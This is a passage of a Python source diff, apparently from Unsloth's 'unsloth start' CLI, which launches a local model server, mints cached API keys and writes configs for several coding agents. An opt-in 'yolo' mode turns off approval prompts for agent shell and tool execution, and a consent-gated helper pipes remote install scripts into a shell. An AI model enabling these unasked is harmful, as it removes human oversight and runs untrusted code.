= True, + timeout = 15, + check = False, + ) + server.wait(timeout = 5) + except Exception: + with contextlib.suppress(Exception): + server.kill() + return + try: + os.killpg(os.getpgid(server.pid), signal.SIGTERM) + except OSError: + server.terminate() + try: + server.wait(timeout = 15) + except Exception: + try: + os.killpg(os.getpgid(server.pid), signal.SIGKILL) + except OSError: + server.kill() + + +def _shutdown_auto_served() -> None: + global _auto_served_server + server, _auto_served_server = _auto_served_server, None + if server is not None and server.poll() is None: + typer.echo("Stopping the auto-started Studio server…") + _shutdown_server(server) + + +def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen: + """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it.""" + global _auto_served_server + unsloth = shutil.which("unsloth") or "unsloth" + parsed = urlparse(base) + # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare = + # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh. + command = [ + unsloth, + "run", + "-H", + parsed.hostname or "127.0.0.1", + "-p", + str(parsed.port or 8888), + "--disable-tools", + "--no-cloudflare", + "--model", + model, + ] + if load.gguf_variant: + command += ["--gguf-variant", load.gguf_variant] + if load.max_seq_length: + command += ["--context-length", str(load.max_seq_length)] + if not load.load_in_4bit: + command += ["--no-load-in-4bit"] + if load.tensor_parallel: + command += ["--tensor-parallel"] + + log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log" + typer.echo( + f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…" + ) + typer.echo(f"Server log: {log_path}") + # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and + # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid + # reuse) can't survive with its old permissions. + log_path.unlink(missing_ok = True) + log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb") + # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the + # server; we tear it down explicitly when the agent exits. + kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL} + if os.name == "nt": + kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP + else: + kwargs["start_new_session"] = True + try: + server = subprocess.Popen(command, **kwargs) + finally: + log.close() # Popen dup'd the fd; drop the parent's copy + _auto_served_server = server + atexit.register(_shutdown_auto_served) + + deadline = time.monotonic() + _SERVER_START_TIMEOUT_S + while time.monotonic() < deadline: + if server.poll() is not None: + tail = _log_tail(log_path) + _shutdown_auto_served() + _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}") + # `unsloth run` prints the minted key only after the server is up AND the model is + # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses). + if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400): + typer.echo(f"Studio server ready at {base}.") + return server + time.sleep(2.0) + _shutdown_auto_served() + _fail( + f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}." + ) + + +def _effective_base(base: str) -> str: + # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize + # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would + # otherwise launch on 8888 but poll port 80, and a path like /studio would poll + # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals + # stay bracketed. + parsed = urlparse(base) + host = parsed.hostname or "127.0.0.1" + if ":" in host: # bare IPv6 literal (urlparse strips the brackets) + host = f"[{host}]" + return f"{parsed.scheme or 'http'}://{host}:{parsed.port or 8888}" + + +def _require_studio( + model: Optional[str] = None, + load: Optional[LoadOptions] = None, + *, + serve: bool = False, + launch: bool = True, +) -> tuple: + """Return (base, server). server is a Popen only when WE auto-started it.""" + base = find_studio_server() + if base is not None: + return base, None + expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/") + # Auto-start a local server only for an interactive launch with a model to serve, and + # only for a plain-HTTP loopback target: never stand in for an explicit remote + # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain + # HTTP, so the health poll against https would spin until the startup timeout. + if ( + serve + and launch + and model + and is_loopback_url(expected) + and urlparse(expected).scheme == "http" + ): + # Normalize to the port unsloth run actually binds, so the health poll and the + # returned base hit the same server we launch (not a portless :80). + expected = _effective_base(expected) + return expected, _start_studio_server(expected, model, load or LoadOptions()) + model_hint = "" if model else " Pass --model to have it start one for you, or" + _fail( + f"No running Studio server found at {expected}.{model_hint} start one with " + "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server." + ) + + +def _key_cache_path() -> Path: + ensure_studio_backend_path() + from utils.paths import auth_root + return auth_root() / "agent_api_key.json" + + +def _read_cache(cache: Path) -> dict: + try: + data = json.loads(cache.read_text(encoding = "utf-8")) + except Exception: + return {} + return data if isinstance(data, dict) else {} + + +def _server_buckets(servers: dict, base: str) -> dict: + # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a + # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake). + entry = servers.get(base) if isinstance(servers, dict) else None + if isinstance(entry, list): + return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]} + if not isinstance(entry, dict): + return {"saved": [], "minted": []} + + def _strs(name: str) -> list: + value = entry.get(name) + return [k for k in value if isinstance(k, str)] if isinstance(value, list) else [] + + return {"saved": _strs("saved"), "minted": _strs("minted")} + + +def _cached_keys(cache: Path, base: str, source: str) -> list: + # Keys are scoped per server. `source` splits user-supplied --api-key keys + # ("saved", trusted for that base) from auto-minted ones ("minted", replayed + # only after the identity check). Legacy unscoped caches are ignored. + return _server_buckets(_read_cache(cache).get("servers", {}), base)[source] + + +def _write_private_json(path: Path, data: dict) -> None: + # O_CREAT with 0o600 so a file holding an API key is never world-readable, + # even briefly (existing files keep whatever perms the user set). + path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700) + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + with os.fdopen(fd, "w") as handle: + handle.write(json.dumps(data, indent = 2) + "\n") + + +def _read_json_object(path: Path) -> Optional[dict]: + # {} when missing, None when it can't be parsed as an object (so the caller + # leaves a user-managed file untouched rather than clobbering it). + if not path.exists(): + return {} + try: + data = json.loads(path.read_text(encoding = "utf-8")) + except (ValueError, OSError): + return None + return data if isinstance(data, dict) else None + + +def _subdict(parent: dict, key: str) -> dict: + child = parent.get(key) + if not isinstance(child, dict): + child = parent[key] = {} + return child + + +def _remember_key(cache: Path, base: str, key: str, source: str) -> None: + data = _read_cache(cache) + servers = data.get("servers") + if not isinstance(servers, dict): + servers = data["servers"] = {} + buckets = _server_buckets(servers, base) + other = "minted" if source == "saved" else "saved" + buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8] + buckets[other] = [k for k in buckets[other] if k != key] # a key has one provenance + new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]} + if servers.get(base) == new_entry: + return + servers[base] = new_entry + # Collapse legacy unscoped fields. + data.pop("keys", None) + data.pop("key", None) + try: + _write_private_json(cache, data) + except OSError: + pass # worst case the next launch mints another key + + +def _key_accepted(base: str, key: str) -> bool: + # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try + # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side + # outage, not a bad key: fail with a clean message (never a traceback) instead of + # silently discarding a working key and minting extras against a struggling server. + try: + _http_json("GET", f"{base}/v1/models", key) + return True + except urllib.error.HTTPError as exc: + if exc.code in (401, 403): + return False + _fail( + f"Studio server error while checking an API key ({exc.code}). " + "The server may be starting up or unhealthy; try again shortly." + ) + except (urllib.error.URLError, TimeoutError) as exc: + _fail( + "Couldn't reach the Studio server while checking an API key: " + f"{getattr(exc, 'reason', None) or exc}" + ) + + +def _agent_api_key( + base: str, + explicit: Optional[str], + *, + auto_started: bool = False, +) -> str: + cache = _key_cache_path() + if explicit: + if not auto_started or _key_accepted(base, explicit): + _remember_key(cache, base, explicit, "saved") + return explicit + # The server was auto-started for this run, so an exported + # UNSLOTH_API_KEY meant for some other server must not fail the + # launch: the loopback mint path below is guaranteed to work. + # (An explicit key that the fresh server accepts, e.g. one persisted + # in this Studio home's auth db, is still honored above.) + + # Replay a key the user saved for *this exact* server first (scoped per base, + # so it only goes back there -- including a remote/SSH-tunnelled Studio whose + # secret the local handshake can't match). Skip ones the server rejects. + for key in _cached_keys(cache, base, "saved"): + if _key_accepted(base, key): + _remember_key(cache, base, key, "saved") + return key + + # Beyond here we auto-mint or replay an auto-minted key. find_studio_server() + # trusts a base after only a health check, so both are limited to a loopback + # server we can cryptographically confirm is ours. + if not is_loopback_url(base): + _fail( + f"No saved API key for {base} and automatic minting only runs against " + "a local Studio. Create an API key in Studio → Settings → API and " + "pass it with --api-key (it is remembered per server), or set " + "UNSLOTH_API_KEY." + ) + if not verify_studio_identity(base): + _fail( + f"Couldn't verify that {base} is your Studio (it may be running as a " + "different OS user, or another process took the port). Create an API " + "key in Studio → Settings → API and pass it with --api-key, or set " + "UNSLOTH_API_KEY." + ) + + # Identity verified: replay a previously auto-minted key, else mint a new one. + for key in _cached_keys(cache, base, "minted"): + if _key_accepted(base, key): + _remember_key(cache, base, key, "minted") + return key + + # Self-issue a JWT (signed with the local secret) and mint a key. + token = _studio_token() + if token is None: + _fail( + "Couldn't authenticate with the Studio server automatically. Create " + "an API key in Studio → Settings → API and pass it with --api-key, " + "or set UNSLOTH_API_KEY." + ) + key = _http_json( + "POST", + f"{base}/api/auth/api-keys", + token, + {"name": "Coding agents (unsloth start)"}, + error = "Couldn't create an API key", + )["key"] + _remember_key(cache, base, key, "minted") + return key + + +def _loaded_models(base: str, key: str) -> list: + return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", []) + + +def _resolve_model( + base: str, + key: str, + requested: Optional[str], + load: LoadOptions = LoadOptions(), +) -> dict: + models = _loaded_models(base, key) + # /v1/models reports the model id but not the active GGUF variant or runtime load + # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the + # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to + # /api/inference/load: the server's already-loaded dedup answers "already_loaded" + # without reloading when the variant AND settings match, so a second session running + # the same command still attaches without evicting the first. + load_has_overrides = bool( + load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel + ) + match = ( + None + if requested and load_has_overrides + else next((m for m in models if m["id"] == requested), None) + ) + if requested and match is None: + typer.echo( + f"Ensuring {requested} is loaded with the requested settings…" + if load_has_overrides + else f"Loading {requested} on the Studio server (this can take a while)…" + ) + # Mirror `unsloth run`'s load knobs; keep the default payload as just + # model_path so a bare `--model` load is unchanged. + payload = {"model_path": requested} + if load.gguf_variant: + payload["gguf_variant"] = load.gguf_variant + if load.max_seq_length: + payload["max_seq_length"] = load.max_seq_length + if not load.load_in_4bit: + payload["load_in_4bit"] = False + if load.tensor_parallel: + payload["tensor_parallel"] = True + loaded = _http_json( + "POST", + f"{base}/api/inference/load", + key, + payload, + timeout = 3600, + error = "Model load failed", + ) + # Studio registers the model under a canonical id (resolved identifier, + # casing) that /v1/models echoes but which may differ from the path we + # passed; match on the id the load reports so we don't silently fall + # through to models[0] and connect to a different loaded model. + wanted = {requested} + if isinstance(loaded, dict): + wanted |= {loaded.get("model"), loaded.get("display_name")} - {None} + models = _loaded_models(base, key) + match = next((m for m in models if m["id"] in wanted), None) + if match is not None: + return match + if requested: + # We asked Studio to load it and it didn't surface in /v1/models; don't + # silently hand back an unrelated loaded model. + _fail( + f"Studio didn't report '{requested}' as loaded. Double-check the model " + "id, or load it from the model dropdown in the UI." + ) + if not models: + _fail( + "No model is loaded in Studio. Load one from the model dropdown in " + "the UI, or pass --model to load it from here." + ) + return models[0] + + +def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None: + # Codex always streams, and Studio only streams /v1/responses from llama-server. + try: + status = _http_json("GET", f"{base}/api/inference/status", key) + except urllib.error.HTTPError as exc: + if exc.code == 404: + return # older server without the endpoint; don't block the launch + raise + if status.get("is_gguf"): + return + hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF" + _fail( + f"Codex needs a GGUF model served by llama-server, but {model_id} is on " + f"the transformers backend. Try: unsloth start codex --model {hint}" + ) + + +_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections" +# Session overlay applied via `claude --settings`; suppresses the attribution header +# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It +# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting +# only from settings.json. +_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}' + + +def _claude_version() -> Optional[tuple]: + # None = no local `claude` (a --no-launch printout for another machine; assume a + # current build). An unparseable version is treated as too old for the new flags. + executable = shutil.which("claude") + if executable is None: + return None + try: + result = subprocess.run( + [executable, "--version"], capture_output = True, text = True, timeout = 10 + ) + # Pull the X.Y.Z out of the output rather than assuming it is the first token. + # claude prints it first today ("2.1.98 (Claude Code)"), but a format change + # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags; + # no match falls through to "too old", same as an unparseable version. + match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout) + return tuple(int(part) for part in match.groups()) if match else (0,) + except Exception: + return (0,) + + +def _claude_flags() -> list: + # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections + # moves per-session context out of the system prompt, and --settings suppresses the + # attribution header for this session only (no persistent ~/.claude write; the env var + # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version; + # no local binary means a printout for another machine, so assume a current build. + version = _claude_version() + if version is not None and version < (2, 1, 98): + return [] + return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY] + + +def _merge_codex_config(existing: str, base: str) -> str: + chunks = re.split(r"(?m)^(?=\[)", existing) # preamble, then one chunk per table + if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]): + if chunks[0] and not chunks[0].endswith("\n"): + chunks[0] += "\n" + chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n' + # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables. + stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".") + text = "".join(c for c in chunks if not c.startswith(stale)) + if not text.endswith("\n"): + text += "\n" + if not text.endswith("\n\n"): + text += "\n" + return text + ( + f"{_PROVIDER_HEADER}\n" + 'name = "Unsloth Studio"\n' + f"base_url = {json.dumps(base + '/v1')}\n" + f'env_key = "{_CODEX_ENV_KEY}"\n' + 'wire_api = "responses"\n' + "requires_openai_auth = false\n" + ) + + +def write_codex_config(base: str, model: dict, home: Path) -> None: + home.mkdir(parents = True, exist_ok = True) + + config = home / "config.toml" + existing = config.read_text(encoding = "utf-8") if config.exists() else "" + merged = _merge_codex_config(existing, base) + if merged != existing: + config.write_text(merged, encoding = "utf-8") + typer.echo(f"Updated {config}") + + # oss_provider here too: codex --oss picks the provider from it, and the + # profile layer must beat a user-set value (e.g. "ollama") in config.toml. + profile_text = ( + f'oss_provider = "{_CODEX_PROFILE}"\n' + f'model_provider = "{_CODEX_PROFILE}"\n' + f"model = {json.dumps(model['id'])}\n" + ) + window = model.get("context_length") or model.get("max_context_length") + if window: + profile_text += f"model_context_window = {int(window)}\n" + profile = home / f"{_CODEX_PROFILE}.config.toml" + if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text: + profile.write_text(profile_text, encoding = "utf-8") + typer.echo(f"Updated {profile}") + + +def _wsl_windows_executable(command: list) -> Optional[str]: + if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"): + return None + executable = shutil.which(command[0]) + if executable and executable.startswith("/mnt/"): + return executable + return None + + +def _looks_like_path(value: str) -> bool: + # A var only wants the WSLENV /p flag if its value is a filesystem path: an + # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows + # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through + # untranslated, so they get no flag. + return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":")) + + +def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple: + # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued + # vars get /p so WSLENV translates them to the Windows path the /mnt shim can + # actually open; a cleared var carries no value to translate. + names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()] + names.extend(unset_env) + return tuple(dict.fromkeys(names)) + + +def _merge_wslenv(current: str, names: tuple) -> str: + # Index WSLENV entries by bare var name, preserving first-seen order. The vars we + # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME" + # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate + # name and a bare entry would leave the path untranslated for a Windows shim. + ordered = [] + by_name = {} + for entry in (*current.split(":"), *names): + if not entry: + continue + base = entry.split("/", 1)[0] + if base not in by_name: + ordered.append(base) + by_name[base] = entry + return ":".join(by_name[base] for base in ordered) + + +def _powershell_quote(arg: str) -> str: + # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so + # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's + # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them. + if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg): + return arg + return "'" + arg.replace("'", "''") + "'" + + +def _print_env( + env: dict, + command: list, + unset_env: tuple = (), + wsl_env_bridge: tuple = (), +) -> None: + if os.name == "nt": + for name in unset_env: + typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue") + for name, value in env.items(): + # PowerShell: ` is the escape char, and $ triggers expansion inside "". + escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$") + typer.echo(f'$env:{name} = "{escaped}"') + typer.echo(" ".join(_powershell_quote(arg) for arg in command)) + return + for name in unset_env: + typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}") + for name, value in env.items(): + typer.echo(f"export {name}={shlex.quote(value)}") + if wsl_env_bridge: + typer.echo( + f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" + ) + # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a + # bare command. People copy just the last line, and a bare `codex`/`claude` would then + # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g. + # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline + # assignments scope every var (and empty-string the conflicting ones) to this single + # invocation, so a partial copy behaves the same as pasting the whole block. + inline = [f"{name}=" for name in unset_env] + inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()] + if wsl_env_bridge: + inline.append( + f"WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" + ) + typer.echo(" ".join((*inline, shlex.join(command)))) + + +def _install_agent(name: str, install_hint: str) -> Optional[str]: + # Missing agent under --launch: offer to run its documented install command, then + # re-resolve it on PATH. Consent-based (we never auto-run a remote install script + # silently), and a non-interactive stdin cannot answer the prompt, so both the + # no-TTY and declined cases return None and let the caller print the hint and exit. + if not sys.stdin.isatty(): + return None + typer.echo(f"`{name}` is not installed.") + if not typer.confirm(f"Install it now with `{install_hint}`?", default = False): + return None + # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm) + # on Windows, /bin/sh (curl | bash, or npm) everywhere else. + if os.name == "nt": + install_command = ["powershell", "-NoProfile", "-Command", install_hint] + else: + install_command = ["/bin/sh", "-c", install_hint] + if subprocess.run(install_command).returncode != 0: + _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}") + executable = shutil.which(name) + if executable is None: + _fail( + f"`{name}` installed but isn't on PATH yet. Open a new shell (or add it to " + f"PATH), then re-run. Install command: {install_hint}" + ) + return executable + + +def _launch( + command: list, + env: dict, + install_hint: str, + unset_env: tuple = (), +) -> NoReturn: + executable = shutil.which(command[0]) or _install_agent(command[0], install_hint) + if executable is None: + _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}") + wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else () + child_env = dict(os.environ) + if wsl_env_bridge: + child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge) + for name in unset_env: + child_env[name] = "" + else: + for name in unset_env: + child_env.pop(name, None) + child_env.update(env) + # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper. + previous = signal.signal(signal.SIGINT, signal.SIG_IGN) + try: + code = subprocess.run([executable, *command[1:]], env = child_env).returncode + finally: + signal.signal(signal.SIGINT, previous) + # Negative returncode means killed by signal N; shells expect 128+N. + raise typer.Exit(code = code if code >= 0 else 128 - code) + + +def _connect( + api_key: Optional[str], + model: Optional[str], + load: LoadOptions = LoadOptions(), + *, + serve: bool = False, + launch: bool = True, +) -> tuple: + # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`. + # Split it before we match/serve so the attach path resolves against the already-loaded + # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id -- + # which Studio rejects and which would evict a model another session is using. + if model: + repo, variant = _split_repo_variant(model) + if variant: + model = repo + if not load.gguf_variant: + load = load._replace(gguf_variant = variant) + base, server = _require_studio(model, load, serve = serve, launch = launch) + try: + key = _agent_api_key(base, api_key, auto_started = server is not None) + # A server we just started has exactly the requested model loaded, so resolve to + # whatever it is serving instead of re-matching the raw --model string. + entry = _resolve_model(base, key, None if server is not None else model, load) + except BaseException: + _shutdown_auto_served() + raise + return base, key, entry + + +def _run( + base: str, + entry: dict, + env: dict, + command: list, + *, + launch: bool, + install_hint: str, + unset_env: tuple = (), + clear_screen: bool = False, +) -> None: + # Some agents (Pi) render inline from wherever the cursor sits: their first + # paint assumes a clean screen rather than clearing or entering the + # alternate screen themselves. Hand them one so the session doesn't start + # mid-scroll under our connection output. click.clear() is cross-platform + # and a no-op when stdout is not a terminal (piped/CI), so transcripts and + # --no-launch recipes stay intact. + if launch and clear_screen: + click.clear() + typer.echo(f"Studio {base} · model {entry['id']}") + wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else () + if not launch: + _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge) + return + try: + _launch(command, env, install_hint = install_hint, unset_env = unset_env) + finally: + # Tear down a server we auto-started once the agent session ends (no-op otherwise). + _shutdown_auto_served() + + +def _agents_config_root() -> Path: + ensure_studio_backend_path() + from utils.paths import auth_root + return auth_root() / "agents" + + +@contextlib.contextmanager +def _session_config(agent: str, launch: bool): + """Yield a private directory for an agent's session config (never the user's own). + + launch: an ephemeral temp dir removed after the agent process exits, so nothing + persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later + on this machine), reused across runs. Either way the user's real ~/. + config is left untouched. + """ + if launch: + path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-")) + try: + yield path + finally: + shutil.rmtree(path, ignore_errors = True) + else: + # Never wipe this dir: a previously printed recipe may still be running + # an agent whose sessions/state live here, and every config writer + # merges idempotently into an existing home anyway. + path = _agents_config_root() / agent + path.mkdir(parents = True, exist_ok = True, mode = 0o700) + yield path + + +def write_openclaw_config( + base: str, + key: str, + model: dict, + path: Path, + yolo: bool = False, +) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path). + provider_model = {"id": model["id"], "name": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + provider_model["contextWindow"] = int(window) + models = _subdict(config, "models") + models.setdefault("mode", "merge") + _subdict(models, "providers")["unsloth"] = { + "baseUrl": f"{base}/v1", + "apiKey": key, + "api": "openai-completions", + "models": [provider_model], + } + # Pin a default model, else OpenClaw drops into its setup agent ("no models available"). + defaults = _subdict(_subdict(config, "agents"), "defaults") + _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}" + # Unauthenticated loopback gateway: without auth.mode=none the client won't open + # the websocket. The daemon must still be started separately (`openclaw gateway`). + gateway = _subdict(config, "gateway") + gateway.setdefault("mode", "local") + _subdict(gateway, "auth").setdefault("mode", "none") + if yolo: + # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the + # tools.exec config AND a host-local approvals file (the stricter wins), so + # setting only the config still lets the agent prompt/deny. Set both, mirroring + # `openclaw exec-policy preset yolo`. + exec_policy = _subdict(_subdict(config, "tools"), "exec") + exec_policy["host"] = "gateway" + exec_policy["security"] = "full" + exec_policy["ask"] = "off" + # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means + # nothing is ever prompted, so the runtime socket block is unnecessary here. + approvals = path.parent / "exec-approvals.json" + _write_private_json( + approvals, + {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}}, + ) + typer.echo(f"Updated {approvals}") + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +def write_opencode_config( + base: str, + key: str, + model: dict, + path: Path, + yolo: bool = False, +) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + config.setdefault("$schema", "https://opencode.ai/config.json") + model_entry = {"name": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # A custom-provider model with no limit defaults to context 0, which silently + # disables OpenCode's auto-compaction; declare the real window (and a sane + # output cap) so it compacts instead of overflowing the server. + model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)} + _subdict(config, "provider")["unsloth"] = { + "npm": "@ai-sdk/openai-compatible", + "name": "Unsloth Studio", + "options": {"baseURL": f"{base}/v1", "apiKey": key}, + "models": {model["id"]: model_entry}, + } + # OpenCode selects a model by "/". + config["model"] = f"unsloth/{model['id']}" + if window: + # Compact with ~10% headroom (near 90% full). The fixed 20k-token default + # buffer over-compacts, or never settles, on a small local context. + compaction = _subdict(config, "compaction") + compaction["auto"] = True + compaction["reserved"] = max(1, window // 10) + if yolo: + # OpenCode has no --yolo flag; auto-approve is the config `permission` block + # (singular). Allow the prompting tools so tool calls don't block on the TUI. + config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"} + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +def write_hermes_config(base: str, model: dict, path: Path) -> None: + import yaml + + config: dict = {} + if path.exists(): + try: + loaded = yaml.safe_load(path.read_text(encoding = "utf-8")) + except (yaml.YAMLError, OSError): + typer.echo( + f"Warning: couldn't parse {path} — configure the custom endpoint " + "there yourself, or move the file aside and re-run.", + err = True, + ) + return + if isinstance(loaded, dict): + config = loaded + elif loaded is not None: + # Non-empty, non-mapping YAML is a user-managed file; leave it. + typer.echo( + f"Warning: couldn't parse {path} — configure the custom endpoint " + "there yourself, or move the file aside and re-run.", + err = True, + ) + return + # Hermes only reads the key for a *named* custom provider (a bare + # `provider: custom` ignores it), so register it under providers.*. + _subdict(config, "model").update( + provider = f"custom:{_HERMES_PROVIDER}", + default = model["id"], + api_mode = "openai", + ) + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no + # context field, so it can fall back to a 256k default that overflows a small + # local model. Pin the real window (top-level model.context_length is the + # highest-priority override) and compact at 90% of it (Hermes defaults to 50%). + if window >= _HERMES_MIN_CONTEXT: + _subdict(config, "model")["context_length"] = window + _subdict(config, "compression").update(enabled = True, threshold = 0.9) + else: + # Below Hermes' 64,000-token floor it refuses to initialize, so claim + # the floor and shrink the threshold so compaction still fires at 90% + # of the REAL window (the threshold is a fraction of the claimed + # context_length). The auxiliary override keeps the same floor check + # from rejecting the compression model mid-session. + _subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXT + threshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4) + _subdict(config, "compression").update(enabled = True, threshold = threshold) + auxiliary = _subdict(_subdict(config, "auxiliary"), "compression") + auxiliary["context_length"] = _HERMES_MIN_CONTEXT + _subdict(config, "providers")[_HERMES_PROVIDER] = { + "base_url": f"{base}/v1", + "api_mode": "openai", + "key_env": _HERMES_ENV_KEY, + } + text = yaml.safe_dump(config, sort_keys = False) + if not path.exists() or path.read_text(encoding = "utf-8") != text: + path.parent.mkdir(parents = True, exist_ok = True) + path.write_text(text, encoding = "utf-8") + typer.echo(f"Updated {path}") + + +def write_pi_config(base: str, key: str, model: dict, path: Path) -> None: + config = _read_json_object(path) + if config is None: + typer.echo( + f"Warning: couldn't parse {path} — add an 'unsloth' provider there " + "yourself, or move the file aside and re-run.", + err = True, + ) + return + before = json.dumps(config, sort_keys = True) + # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the + # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives + # in the config rather than the env (matching openclaw/opencode). + provider_model = {"id": model["id"]} + window = model.get("context_length") or model.get("max_context_length") + if window: + window = int(window) + # An unspecified model defaults to contextWindow 128000 / maxTokens 16384, + # far larger than a small Studio context, so Pi compacts too late and overflows + # the server. Pin the real window and a sane output cap (mirrors OpenCode). + provider_model["contextWindow"] = window + provider_model["maxTokens"] = min(window // 4, 8192) + _subdict(config, "providers")[_PI_PROVIDER] = { + "api": "openai-completions", + "baseUrl": f"{base}/v1", + "apiKey": key, + "models": [provider_model], + } + if json.dumps(config, sort_keys = True) != before: + _write_private_json(path, config) + typer.echo(f"Updated {path}") + + +@start_app.command("claude", context_settings = _PASSTHROUGH) +def claude( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = 